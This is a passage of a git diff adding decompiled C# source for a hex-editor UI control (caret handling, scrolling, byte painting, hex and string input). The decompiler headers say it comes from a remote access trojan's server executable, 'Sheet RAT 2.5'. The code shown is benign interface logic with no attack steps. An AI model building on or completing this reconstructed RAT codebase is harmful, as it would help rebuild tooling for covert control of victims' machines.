this.ScrollLineDown(this._vScrollLarge); + break; + case ScrollEventType.ThumbTrack: + this.ScrollThumbTrack(e.NewValue - e.OldValue); + break; + } + this.Invalidate(); + } + + protected void CaretSelectionStartChanged(object sender, EventArgs e) + { + if (this.SelectionStartChanged == null) + return; + this.SelectionStartChanged((object) this, e); + } + + protected void CaretSelectionLengthChanged(object sender, EventArgs e) + { + if (this.SelectionLengthChanged == null) + return; + this.SelectionLengthChanged((object) this, e); + } + + protected override void OnMarginChanged(EventArgs e) + { + base.OnMarginChanged(e); + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + + protected override void OnGotFocus(EventArgs e) + { + if (this._handler != null) + this._handler.OnGotFocus(e); + this.UpdateRectanglePositioning(); + this.Invalidate(); + base.OnGotFocus(e); + } + + protected override void OnLostFocus(EventArgs e) + { + this._dragging = false; + this.DestroyCaret(); + base.OnLostFocus(e); + } + + protected override bool IsInputKey(Keys keyData) + { + switch (keyData) + { + case Keys.Left: + case Keys.Up: + case Keys.Right: + case Keys.Down: + case Keys.Left | Keys.Shift: + case Keys.Up | Keys.Shift: + case Keys.Right | Keys.Shift: + case Keys.Down | Keys.Shift: + return true; + default: + return base.IsInputKey(keyData); + } + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + if (this._handler != null) + this._handler.OnKeyPress(e); + base.OnKeyPress(e); + } + + protected override void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Next) + { + if (!this._isVScrollHidden) + { + this.ScrollLineDown(this._vScrollLarge); + this.Invalidate(); + } + } + else if (e.KeyCode == Keys.Prior) + { + if (!this._isVScrollHidden) + { + this.ScrollLineUp(this._vScrollLarge); + this.Invalidate(); + } + } + else if (this._handler != null) + this._handler.OnKeyDown(e); + base.OnKeyDown(e); + } + + protected override void OnKeyUp(KeyEventArgs e) + { + if (this._handler != null) + this._handler.OnKeyUp(e); + base.OnKeyUp(e); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + if (this.Focused) + { + if (this._handler != null) + this._handler.OnMouseDown(e); + if (e.Button == MouseButtons.Left) + { + this._dragging = true; + this.Invalidate(); + } + } + else + this.Focus(); + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (this.Focused && this._dragging) + { + if (this._handler != null) + this._handler.OnMouseDragged(e); + this.Invalidate(); + } + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + this._dragging = false; + if (this.Focused && this._handler != null) + this._handler.OnMouseUp(e); + base.OnMouseUp(e); + } + + protected override void OnMouseDoubleClick(MouseEventArgs e) + { + if (this.Focused && this._handler != null) + this._handler.OnMouseDoubleClick(e); + base.OnMouseDoubleClick(e); + } + + public int CaretPosX + { + get + { + lock (this._caretLock) + return this._caret.Location.X; + } + } + + public int CaretPosY + { + get + { + lock (this._caretLock) + return this._caret.Location.Y; + } + } + + public int SelectionStart + { + get + { + lock (this._caretLock) + return this._caret.SelectionStart; + } + } + + public int SelectionLength + { + get + { + lock (this._caretLock) + return this._caret.SelectionLength; + } + } + + public int CaretIndex + { + get + { + lock (this._caretLock) + return this._caret.CurrentIndex; + } + } + + public bool CaretFocused + { + get + { + lock (this._caretLock) + return this._caret.Focused; + } + } + + public void SetCaretStart(int index, Point location) + { + location = this.ScrollToCaret(index, location); + lock (this._caretLock) + { + this._caret.SetStartIndex(index); + this._caret.SetCaretLocation(location); + } + this.Invalidate(); + } + + public void SetCaretEnd(int index, Point location) + { + location = this.ScrollToCaret(index, location); + lock (this._caretLock) + { + this._caret.SetEndIndex(index); + this._caret.SetCaretLocation(location); + } + this.Invalidate(); + } + + public bool IsSelected(int byteIndex) + { + lock (this._caretLock) + return this._caret.IsSelected(byteIndex); + } + + public void DestroyCaret() + { + lock (this._caretLock) + this._caret.Destroy(); + } + + public int HexTableLength + { + get + { + lock (this._hexTableLock) + return this._hexTable.Length; + } + } + + public void RemoveSelectedBytes() + { + int selectionStart = this.SelectionStart; + int selectionLength = this.SelectionLength; + if (selectionLength <= 0) + return; + lock (this._hexTableLock) + this._hexTable.RemoveRange(selectionStart, selectionLength); + this.UpdateRectanglePositioning(); + this.Invalidate(); + if (this.HexTableChanged == null) + return; + this.HexTableChanged((object) this, EventArgs.Empty); + } + + public void RemoveByteAt(int index) + { + lock (this._hexTableLock) + this._hexTable.RemoveAt(index); + this.UpdateRectanglePositioning(); + this.Invalidate(); + if (this.HexTableChanged == null) + return; + this.HexTableChanged((object) this, EventArgs.Empty); + } + + public void AppendByte(byte item) + { + lock (this._hexTableLock) + this._hexTable.Add(item); + this.UpdateRectanglePositioning(); + this.Invalidate(); + if (this.HexTableChanged == null) + return; + this.HexTableChanged((object) this, EventArgs.Empty); + } + + public void InsertByte(int index, byte item) + { + lock (this._hexTableLock) + this._hexTable.Insert(index, item); + this.UpdateRectanglePositioning(); + this.Invalidate(); + if (this.HexTableChanged == null) + return; + this.HexTableChanged((object) this, EventArgs.Empty); + } + + public char GetByteAsChar(int index) + { + lock (this._hexTableLock) + return this._hexTable.GetCharAt(index); + } + + public byte GetByte(int index) + { + lock (this._hexTableLock) + return this._hexTable.GetAt(index); + } + + public void SetByte(int index, byte item) + { + lock (this._hexTableLock) + this._hexTable.SetAt(index, item); + this.Invalidate(); + if (this.HexTableChanged == null) + return; + this.HexTableChanged((object) this, EventArgs.Empty); + } + + public void ScrollLineUp(int lines) + { + if (this._firstByte <= 0) + return; + lines = lines > this._vScrollPos ? this._vScrollPos : lines; + this._vScrollPos -= this._vScrollSmall * lines; + this.UpdateVisibleByteIndex(); + this.UpdateScrollValues(); + if (!this.CaretFocused) + return; + Point start = new Point(this.CaretPosX, this.CaretPosY); + start.Y += this._recLineCount.Height * lines; + lock (this._caretLock) + this._caret.SetCaretLocation(start); + } + + public void ScrollLineDown(int lines) + { + if (this._vScrollPos > this._vScrollMax - this._vScrollLarge) + return; + lines = lines + this._vScrollPos > this._vScrollMax - this._vScrollLarge ? this._vScrollMax - this._vScrollLarge - this._vScrollPos + 1 : lines; + this._vScrollPos += this._vScrollSmall * lines; + this.UpdateVisibleByteIndex(); + this.UpdateScrollValues(); + if (!this.CaretFocused) + return; + Point start = new Point(this.CaretPosX, this.CaretPosY); + start.Y -= this._recLineCount.Height * lines; + lock (this._caretLock) + { + this._caret.SetCaretLocation(start); + if (start.Y >= this._recContent.Y) + return; + this._caret.Hide(this.Handle); + } + } + + public void ScrollThumbTrack(int lines) + { + if (lines == 0) + return; + if (lines < 0) + this.ScrollLineUp(-1 * lines); + else + this.ScrollLineDown(lines); + } + + public Point ScrollToCaret(int caretIndex, Point position) + { + if (position.Y < 0) + { + this._vScrollPos -= Math.Abs((position.Y - this._recContent.Y) / this._recLineCount.Height) * this._vScrollSmall; + this.UpdateVisibleByteIndex(); + this.UpdateScrollValues(); + if (this.CaretFocused) + position.Y = this._recContent.Y; + } + else if (position.Y > this._maxVisibleBytesV * this._recLineCount.Height) + { + this._vScrollPos += (position.Y / this._recLineCount.Height - (this._maxVisibleBytesV - 1)) * this._vScrollSmall; + if (this._vScrollPos > this._vScrollMax - (this._vScrollLarge - 1)) + this._vScrollPos = this._vScrollMax - (this._vScrollLarge - 1); + this.UpdateVisibleByteIndex(); + this.UpdateScrollValues(); + if (this.CaretFocused) + position.Y = (this._maxVisibleBytesV - 1) * this._recLineCount.Height + this._recContent.Y; + } + return position; + } + + private void UpdateRectanglePositioning() + { + if (this.ClientRectangle.Width == 0) + return; + SizeF sizeF; + using (Graphics graphics = this.CreateGraphics()) + sizeF = graphics.MeasureString("D", this.Font, 100, this._stringFormat); + this.CharSize = new SizeF((float) Math.Ceiling((double) sizeF.Width), (float) Math.Ceiling((double) sizeF.Height)); + this._recContent = this.ClientRectangle; + ref Rectangle local1 = ref this._recContent; + int x = local1.X; + Padding margin = this.Margin; + int left1 = margin.Left; + local1.X = x + left1; + ref Rectangle local2 = ref this._recContent; + int y1 = local2.Y; + margin = this.Margin; + int top1 = margin.Top; + local2.Y = y1 + top1; + ref Rectangle local3 = ref this._recContent; + int width = local3.Width; + margin = this.Margin; + int right = margin.Right; + local3.Width = width - right; + ref Rectangle local4 = ref this._recContent; + int height = local4.Height; + margin = this.Margin; + int bottom = margin.Bottom; + local4.Height = height - bottom; + if (this.BorderStyle == BorderStyle.Fixed3D) + { + this._recContent.X += 2; + this._recContent.Y += 2; + --this._recContent.Width; + --this._recContent.Height; + } + else if (this.BorderStyle == BorderStyle.FixedSingle) + { + ++this._recContent.X; + ++this._recContent.Y; + --this._recContent.Width; + --this._recContent.Height; + } + if (!this.VScrollBarHidden) + { + this._recContent.Width -= this._vScrollBarWidth; + VScrollBar vScrollBar1 = this._vScrollBar; + int num1 = this._recContent.X + this._recContent.Width; + margin = this.Margin; + int left2 = margin.Left; + int num2 = num1 - left2; + vScrollBar1.Left = num2; + VScrollBar vScrollBar2 = this._vScrollBar; + int y2 = this._recContent.Y; + margin = this.Margin; + int top2 = margin.Top; + int num3 = y2 - top2; + vScrollBar2.Top = num3; + this._vScrollBar.Width = this._vScrollBarWidth; + this._vScrollBar.Height = this._recContent.Height; + } + this._recLineCount = new Rectangle(this._recContent.X, this._recContent.Y, (int) ((double) this._charSize.Width * 4.0), (int) this._charSize.Height - 2); + this._editView.Update(this._recLineCount.X + this._recLineCount.Width + this._entityMargin / 2, this._recContent); + this._maxBytesH = this._bytesPerLine; + this._maxBytesV = (int) Math.Ceiling((double) this._recContent.Height / (double) this._recLineCount.Height); + this._maxBytes = this._maxBytesH * this._maxBytesV; + this._maxVisibleBytesV = (int) Math.Floor((double) this._recContent.Height / (double) this._recLineCount.Height); + this.UpdateScrollBarSize(); + } + + private void UpdateVisibleByteIndex() + { + if (this._hexTable.Length == 0) + { + this._firstByte = 0; + this._lastByte = 0; + } + else + { + this._firstByte = this._vScrollPos * this._maxBytesH; + this._lastByte = Math.Min(this.HexTableLength, this._firstByte + this._maxBytes); + } + } + + private void UpdateScrollValues() + { + if (!this._isVScrollHidden) + { + this._vScrollBar.Minimum = this._vScrollMin; + this._vScrollBar.Maximum = this._vScrollMax; + this._vScrollBar.Value = this._vScrollPos; + this._vScrollBar.SmallChange = this._vScrollSmall; + this._vScrollBar.LargeChange = this._vScrollLarge; + this._vScrollBar.Visible = true; + } + else + this._vScrollBar.Visible = false; + } + + private void UpdateScrollBarSize() + { + if (this.VScrollBarVisisble && this._maxVisibleBytesV > 0 && this._maxBytesH > 0) + { + int maxVisibleBytesV = this._maxVisibleBytesV; + int num1 = 1; + int num2 = 0; + int num3 = this.HexTableLength / this._maxBytesH; + int num4 = this._firstByte / this._maxBytesH; + if (maxVisibleBytesV != this._vScrollLarge || num1 != this._vScrollSmall) + { + this._vScrollLarge = maxVisibleBytesV; + this._vScrollSmall = num1; + } + if (num3 >= maxVisibleBytesV) + { + if (num3 != this._vScrollMax || num4 != this._vScrollPos) + { + this._vScrollMin = num2; + this._vScrollMax = num3; + this._vScrollPos = num4; + } + this.VScrollBarHidden = false; + this.UpdateScrollValues(); + } + else + this.VScrollBarHidden = true; + } + else + this.VScrollBarHidden = true; + } + + public HexEditor() + : this(new ByteCollection()) + { + } + + public HexEditor(ByteCollection collection) + { + this._stringFormat = new StringFormat(StringFormat.GenericTypographic); + this._stringFormat.Alignment = StringAlignment.Center; + this._stringFormat.LineAlignment = StringAlignment.Center; + this._hexTable = collection; + this._vScrollBar = new VScrollBar(); + this._vScrollBar.Scroll += new ScrollEventHandler(this.OnVScrollBarScroll); + this.SetStyle(ControlStyles.ResizeRedraw, true); + this.SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + this.SetStyle(ControlStyles.Selectable, true); + this._caret = new Caret(this); + this._caret.SelectionStartChanged += new EventHandler(this.CaretSelectionStartChanged); + this._caret.SelectionLengthChanged += new EventHandler(this.CaretSelectionLengthChanged); + this._editView = new EditView(this); + this._handler = (IKeyMouseEventHandler) this._editView; + this.Cursor = Cursors.IBeam; + } + + private RectangleF GetLineCountBound(int index) + { + return new RectangleF((float) this._recLineCount.X, (float) (this._recLineCount.Y + this._recLineCount.Height * index), (float) this._recLineCount.Width, (float) this._recLineCount.Height); + } + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + if (this.BorderStyle == BorderStyle.Fixed3D) + { + SolidBrush solidBrush = new SolidBrush(this.BackColor); + Rectangle clientRectangle = this.ClientRectangle; + pevent.Graphics.FillRectangle((Brush) solidBrush, clientRectangle); + ControlPaint.DrawBorder3D(pevent.Graphics, this.ClientRectangle, Border3DStyle.Sunken); + } + else if (this.BorderStyle == BorderStyle.FixedSingle) + { + SolidBrush solidBrush = new SolidBrush(this.BackColor); + Rectangle clientRectangle = this.ClientRectangle; + pevent.Graphics.FillRectangle((Brush) solidBrush, clientRectangle); + ControlPaint.DrawBorder(pevent.Graphics, this.ClientRectangle, this.BorderColor, ButtonBorderStyle.Solid); + } + else + base.OnPaintBackground(pevent); + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + Region region = new Region(this.ClientRectangle); + region.Exclude(this._recContent); + e.Graphics.ExcludeClip(region); + this.UpdateVisibleByteIndex(); + this.PaintLineCount(e.Graphics, this._firstByte, this._lastByte); + this._editView.Paint(e.Graphics, this._firstByte, this._lastByte); + } + + private void PaintLineCount(Graphics g, int startIndex, int lastIndex) + { + SolidBrush solidBrush = new SolidBrush(this.ForeColor); + for (int index = 0; index * this._maxBytesH + startIndex <= lastIndex; ++index) + { + RectangleF lineCountBound = this.GetLineCountBound(index); + string str = (startIndex + index * this._maxBytesH).ToString(this._lineCountCaps); + int count = this._nrCharsLineCount - str.Length; + string s = count <= -1 ? new string('~', this._nrCharsLineCount) : new string('0', count) + str; + g.DrawString(s, this.Font, (Brush) solidBrush, lineCountBound, this._stringFormat); + } + } + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + this.UpdateRectanglePositioning(); + this.Invalidate(); + } + + public enum CaseStyle + { + LowerCase, + UpperCase, + } +} +} diff --git a/Server/Server/Helper/HexEditor/HexViewHandler.cs b/Server/Server/Helper/HexEditor/HexViewHandler.cs new file mode 100644 index 0000000..62a1943 --- /dev/null +++ b/Server/Server/Helper/HexEditor/HexViewHandler.cs @@ -0,0 +1,270 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.HexViewHandler +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public class HexViewHandler +{ + private bool _isEditing; + private string _hexType = "X2"; + private Rectangle _recHexValue; + private StringFormat _stringFormat; + private Server.Helper.HexEditor.HexEditor _editor; + + public int MaxWidth => this._recHexValue.X + this._recHexValue.Width * this._editor.BytesPerLine; + + public HexViewHandler(Server.Helper.HexEditor.HexEditor editor) + { + this._editor = editor; + this._stringFormat = new StringFormat(StringFormat.GenericTypographic); + this._stringFormat.Alignment = StringAlignment.Center; + this._stringFormat.LineAlignment = StringAlignment.Center; + } + + public void OnKeyPress(KeyPressEventArgs e) + { + if (!this.IsHex(e.KeyChar)) + return; + this.HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (this._editor.SelectionLength > 0) + { + this.HandleUserRemove(); + int caretIndex = this._editor.CaretIndex; + Point caretLocation = this.GetCaretLocation(caretIndex); + this._editor.SetCaretStart(caretIndex, caretLocation); + } + else if (this._editor.CaretIndex < this._editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + this._editor.RemoveByteAt(this._editor.CaretIndex); + this._editor.SetCaretStart(this._editor.CaretIndex, this.GetCaretLocation(this._editor.CaretIndex)); + } + else if (this._editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + int index = this._editor.CaretIndex - 1; + if (this._isEditing) + index = this._editor.CaretIndex; + this._editor.RemoveByteAt(index); + Point caretLocation = this.GetCaretLocation(index); + this._editor.SetCaretStart(index, caretLocation); + } + this._isEditing = false; + } + else if (e.KeyCode == Keys.Up && this._editor.CaretIndex - this._editor.BytesPerLine >= 0) + { + int index = this._editor.CaretIndex - this._editor.BytesPerLine; + if (index % this._editor.BytesPerLine == 0 && this._editor.CaretPosX >= this._recHexValue.X + this._recHexValue.Width * this._editor.BytesPerLine) + { + Point location = new Point(this._editor.CaretPosX, this._editor.CaretPosY - this._recHexValue.Height); + if (index == 0) + { + location = new Point(this._editor.CaretPosX, this._editor.CaretPosY); + index = this._editor.BytesPerLine; + } + if (e.Shift) + this._editor.SetCaretEnd(index, location); + else + this._editor.SetCaretStart(index, location); + this._isEditing = false; + } + else + this.HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Down && (this._editor.CaretIndex - 1) / this._editor.BytesPerLine < this._editor.HexTableLength / this._editor.BytesPerLine) + { + int index = this._editor.CaretIndex + this._editor.BytesPerLine; + if (index > this._editor.HexTableLength) + { + this.HandleArrowKeys(this._editor.HexTableLength, e.Shift); + } + else + { + Point location = new Point(this._editor.CaretPosX, this._editor.CaretPosY + this._recHexValue.Height); + if (e.Shift) + this._editor.SetCaretEnd(index, location); + else + this._editor.SetCaretStart(index, location); + this._isEditing = false; + } + } + else if (e.KeyCode == Keys.Left && this._editor.CaretIndex - 1 >= 0) + { + this.HandleArrowKeys(this._editor.CaretIndex - 1, e.Shift); + } + else + { + if (e.KeyCode != Keys.Right || this._editor.CaretIndex + 1 > this._editor.HexTableLength) + return; + this.HandleArrowKeys(this._editor.CaretIndex + 1, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point caretLocation = this.GetCaretLocation(index); + if (isShiftDown) + this._editor.SetCaretEnd(index, caretLocation); + else + this._editor.SetCaretStart(index, caretLocation); + this._isEditing = false; + } + + public void OnMouseDown(int x, int y) + { + int num1 = (x - this._recHexValue.X) / this._recHexValue.Width; + int num2 = (y - this._recHexValue.Y) / this._recHexValue.Height; + int num3 = num1 > this._editor.BytesPerLine ? this._editor.BytesPerLine : num1; + int num4 = num3 < 0 ? 0 : num3; + int num5 = num2 > this._editor.MaxBytesV ? this._editor.MaxBytesV : num2; + int num6 = num5 < 0 ? 0 : num5; + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine <= num6) + { + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine <= num4) + num4 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine; + num6 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine; + } + this._editor.SetCaretStart(Math.Min(this._editor.LastVisibleByte, this._editor.FirstVisibleByte + num4 + num6 * this._editor.BytesPerLine), new Point(num4 * this._recHexValue.Width + this._recHexValue.X, num6 * this._recHexValue.Height + this._recHexValue.Y)); + this._isEditing = false; + } + + public void OnMouseDragged(int x, int y) + { + int num1 = (x - this._recHexValue.X) / this._recHexValue.Width; + int num2 = (y - this._recHexValue.Y) / this._recHexValue.Height; + int num3 = num1 > this._editor.BytesPerLine ? this._editor.BytesPerLine : num1; + int num4 = num3 < 0 ? 0 : num3; + int num5 = num2 > this._editor.MaxBytesV ? this._editor.MaxBytesV : num2; + int num6 = this._editor.FirstVisibleByte <= 0 ? (num5 < 0 ? 0 : num5) : (num5 < 0 ? -1 : num5); + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine <= num6) + { + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine <= num4) + num4 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine; + num6 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine; + } + this._editor.SetCaretEnd(Math.Min(this._editor.LastVisibleByte, this._editor.FirstVisibleByte + num4 + num6 * this._editor.BytesPerLine), new Point(num4 * this._recHexValue.Width + this._recHexValue.X, num6 * this._recHexValue.Height + this._recHexValue.Y)); + } + + public void OnMouseDoubleClick() + { + if (this._editor.CaretIndex >= this._editor.LastVisibleByte) + return; + int index = this._editor.CaretIndex + 1; + Point caretLocation = this.GetCaretLocation(index); + this._editor.SetCaretEnd(index, caretLocation); + } + + public void Update(int startPositionX, Rectangle area) + { + int x = startPositionX; + int y = area.Y; + SizeF charSize = this._editor.CharSize; + int width = (int) ((double) charSize.Width * 3.0); + charSize = this._editor.CharSize; + int height = (int) charSize.Height - 2; + this._recHexValue = new Rectangle(x, y, width, height); + this._recHexValue.X += this._editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point byteColumnAndRow = this.GetByteColumnAndRow(index); + if (this._editor.IsSelected(index + startIndex)) + this.PaintByteAsSelected(g, byteColumnAndRow, index + startIndex); + else + this.PaintByte(g, byteColumnAndRow, index + startIndex); + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush solidBrush1 = new SolidBrush(this._editor.SelectionBackColor); + SolidBrush solidBrush2 = new SolidBrush(this._editor.SelectionForeColor); + RectangleF bound = this.GetBound(point); + string s = this._editor.GetByte(index).ToString(this._hexType); + g.FillRectangle((Brush) solidBrush1, bound); + g.DrawString(s, this._editor.Font, (Brush) solidBrush2, bound, this._stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush solidBrush = new SolidBrush(this._editor.ForeColor); + RectangleF bound = this.GetBound(point); + string s = this._editor.GetByte(index).ToString(this._hexType); + g.DrawString(s, this._editor.Font, (Brush) solidBrush, bound, this._stringFormat); + } + + public void SetLowerCase() => this._hexType = "x2"; + + public void SetUpperCase() => this._hexType = "X2"; + + public void Focus() + { + int caretIndex = this._editor.CaretIndex; + Point caretLocation = this.GetCaretLocation(caretIndex); + this._editor.SetCaretStart(caretIndex, caretLocation); + } + + private Point GetCaretLocation(int index) + { + return new Point(this._recHexValue.X + this._recHexValue.Width * (index % this._editor.BytesPerLine), this._recHexValue.Y + this._recHexValue.Height * ((index - (this._editor.FirstVisibleByte + index % this._editor.BytesPerLine)) / this._editor.BytesPerLine)); + } + + private void HandleUserRemove() + { + int selectionStart = this._editor.SelectionStart; + Point caretLocation = this.GetCaretLocation(selectionStart); + this._editor.RemoveSelectedBytes(); + this._editor.SetCaretStart(selectionStart, caretLocation); + } + + private void HandleUserInput(char key) + { + if (!this._editor.CaretFocused) + return; + this.HandleUserRemove(); + if (this._isEditing) + { + this._isEditing = false; + this._editor.SetByte(this._editor.CaretIndex, (byte) ((uint) this._editor.GetByte(this._editor.CaretIndex) + (uint) Convert.ToByte(key.ToString(), 16 /*0x10*/))); + int index = this._editor.CaretIndex + 1; + Point caretLocation = this.GetCaretLocation(index); + this._editor.SetCaretStart(index, caretLocation); + } + else + { + this._isEditing = true; + byte num = Convert.ToByte(key.ToString() + "0", 16 /*0x10*/); + if (this._editor.HexTable.Length == 0) + this._editor.AppendByte(num); + else + this._editor.InsertByte(this._editor.CaretIndex, num); + this._editor.SetCaretStart(this._editor.CaretIndex, new Point(this._recHexValue.X + this._recHexValue.Width * (this._editor.CaretIndex % this._editor.BytesPerLine) + this._recHexValue.Width / 2, this._recHexValue.Y + this._recHexValue.Height * ((this._editor.CaretIndex - (this._editor.FirstVisibleByte + this._editor.CaretIndex % this._editor.BytesPerLine)) / this._editor.BytesPerLine))); + } + } + + private Point GetByteColumnAndRow(int index) + { + return new Point(index % this._editor.BytesPerLine, index / this._editor.BytesPerLine); + } + + private RectangleF GetBound(Point point) + { + return new RectangleF((float) (this._recHexValue.X + point.X * this._recHexValue.Width), (float) (this._recHexValue.Y + point.Y * this._recHexValue.Height), (float) this._recHexValue.Width, (float) this._recHexValue.Height); + } + + private bool IsHex(char c) => c >= 'a' && c <= 'f' || c >= 'A' && c <= 'F' || char.IsDigit(c); +} +} diff --git a/Server/Server/Helper/HexEditor/IKeyMouseEventHandler.cs b/Server/Server/Helper/HexEditor/IKeyMouseEventHandler.cs new file mode 100644 index 0000000..4fa1d47 --- /dev/null +++ b/Server/Server/Helper/HexEditor/IKeyMouseEventHandler.cs @@ -0,0 +1,32 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.IKeyMouseEventHandler +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public interface IKeyMouseEventHandler +{ + void OnKeyPress(KeyPressEventArgs e); + + void OnKeyDown(KeyEventArgs e); + + void OnKeyUp(KeyEventArgs e); + + void OnMouseDown(MouseEventArgs e); + + void OnMouseDragged(MouseEventArgs e); + + void OnMouseUp(MouseEventArgs e); + + void OnMouseDoubleClick(MouseEventArgs e); + + void OnGotFocus(EventArgs e); +} +} diff --git a/Server/Server/Helper/HexEditor/StringViewHandler.cs b/Server/Server/Helper/HexEditor/StringViewHandler.cs new file mode 100644 index 0000000..3811a93 --- /dev/null +++ b/Server/Server/Helper/HexEditor/StringViewHandler.cs @@ -0,0 +1,249 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.HexEditor.StringViewHandler +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.HexEditor { + +public class StringViewHandler +{ + private Rectangle _recStringView; + private StringFormat _stringFormat; + private Server.Helper.HexEditor.HexEditor _editor; + + public int MaxWidth => this._recStringView.X + this._recStringView.Width; + + public StringViewHandler(Server.Helper.HexEditor.HexEditor editor) + { + this._editor = editor; + this._stringFormat = new StringFormat(StringFormat.GenericTypographic); + this._stringFormat.Alignment = StringAlignment.Center; + this._stringFormat.LineAlignment = StringAlignment.Center; + } + + public void OnKeyPress(KeyPressEventArgs e) + { + if (char.IsControl(e.KeyChar)) + return; + this.HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (this._editor.SelectionLength > 0) + { + this.HandleUserRemove(); + int caretIndex = this._editor.CaretIndex; + Point caretLocation = this.GetCaretLocation(caretIndex); + this._editor.SetCaretStart(caretIndex, caretLocation); + } + else if (this._editor.CaretIndex < this._editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + this._editor.RemoveByteAt(this._editor.CaretIndex); + this._editor.SetCaretStart(this._editor.CaretIndex, this.GetCaretLocation(this._editor.CaretIndex)); + } + else + { + if (this._editor.CaretIndex <= 0 || e.KeyCode != Keys.Back) + return; + int index = this._editor.CaretIndex - 1; + this._editor.RemoveByteAt(index); + Point caretLocation = this.GetCaretLocation(index); + this._editor.SetCaretStart(index, caretLocation); + } + } + else if (e.KeyCode == Keys.Up && this._editor.CaretIndex - this._editor.BytesPerLine >= 0) + { + int index = this._editor.CaretIndex - this._editor.BytesPerLine; + if (index % this._editor.BytesPerLine == 0 && this._editor.CaretPosX >= this._recStringView.X + this._recStringView.Width) + { + Point location = new Point(this._editor.CaretPosX, this._editor.CaretPosY - this._recStringView.Height); + if (index == 0) + { + location = new Point(this._editor.CaretPosX, this._editor.CaretPosY); + index = this._editor.BytesPerLine; + } + if (e.Shift) + this._editor.SetCaretEnd(index, location); + else + this._editor.SetCaretStart(index, location); + } + else + this.HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Down && (this._editor.CaretIndex - 1) / this._editor.BytesPerLine < this._editor.HexTableLength / this._editor.BytesPerLine) + { + int index = this._editor.CaretIndex + this._editor.BytesPerLine; + if (index > this._editor.HexTableLength) + { + this.HandleArrowKeys(this._editor.HexTableLength, e.Shift); + } + else + { + Point location = new Point(this._editor.CaretPosX, this._editor.CaretPosY + this._recStringView.Height); + if (e.Shift) + this._editor.SetCaretEnd(index, location); + else + this._editor.SetCaretStart(index, location); + } + } + else if (e.KeyCode == Keys.Left && this._editor.CaretIndex - 1 >= 0) + { + this.HandleArrowKeys(this._editor.CaretIndex - 1, e.Shift); + } + else + { + if (e.KeyCode != Keys.Right || this._editor.CaretIndex + 1 > this._editor.LastVisibleByte) + return; + this.HandleArrowKeys(this._editor.CaretIndex + 1, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point caretLocation = this.GetCaretLocation(index); + if (isShiftDown) + this._editor.SetCaretEnd(index, caretLocation); + else + this._editor.SetCaretStart(index, caretLocation); + } + + public void OnMouseDown(int x, int y) + { + int num1 = (x - this._recStringView.X) / (int) this._editor.CharSize.Width; + int num2 = (y - this._recStringView.Y) / this._recStringView.Height; + int num3 = num1 > this._editor.BytesPerLine ? this._editor.BytesPerLine : num1; + int num4 = num3 < 0 ? 0 : num3; + int num5 = num2 > this._editor.MaxBytesV ? this._editor.MaxBytesV : num2; + int num6 = num5 < 0 ? 0 : num5; + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / this._editor.BytesPerLine <= num6) + { + if ((this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine <= num4) + num4 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) % this._editor.BytesPerLine; + num6 = (this._editor.LastVisibleByte - this._editor.FirstVisibleByte) / 